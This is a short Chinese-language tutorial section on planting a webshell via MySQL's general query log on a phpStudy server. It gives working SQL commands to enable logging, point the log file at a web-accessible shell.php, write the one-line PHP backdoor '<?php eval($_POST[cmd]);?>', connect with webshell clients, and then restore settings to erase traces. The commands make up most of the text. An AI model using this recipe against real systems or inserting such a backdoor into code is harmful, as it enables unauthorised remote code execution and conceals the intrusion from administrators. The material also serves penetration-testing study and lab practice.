0x02 利用全局日志写shell
1、查看配置
查看mysql的日志状态,默认是关闭的,因为这个日志的量非常大对资源是一个比较大的开销
SHOW VARIABLES LIKE '%general%'
general_log_file为日志保存的位置
2、开启general_log模式
开启general_log 的作用:开启它可以记录用户输入的每条命令,会把其保存在C:\phpStudy\MySQL\data\stu1.log的文件中,其实就是我们常说的日志文件
利用思路:开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用
这里注意:在修改log路径前,源路径一定要提前记录下来,我们获取shell后还要恢复原来的路径
set global general_log = on;
再查看一下日志已经开启,这时我们就可以通过全局日志写shell进根目录
3、修改日志目录为shell地址
set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php
4、写入shell
因为开启了日志记录功能,所执行的sql语句都会被记录在日志中
select '<?php eval($_POST[cmd]);?>'
查看下日志,发现sql语句已经被记录到了日志中,直接用菜刀或者蚁剑连接即可
5、抹除痕迹
set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log'; set global general_log = off;
再使用日志查看命令发现已经恢复
SHOW VARIABLES LIKE '%general%'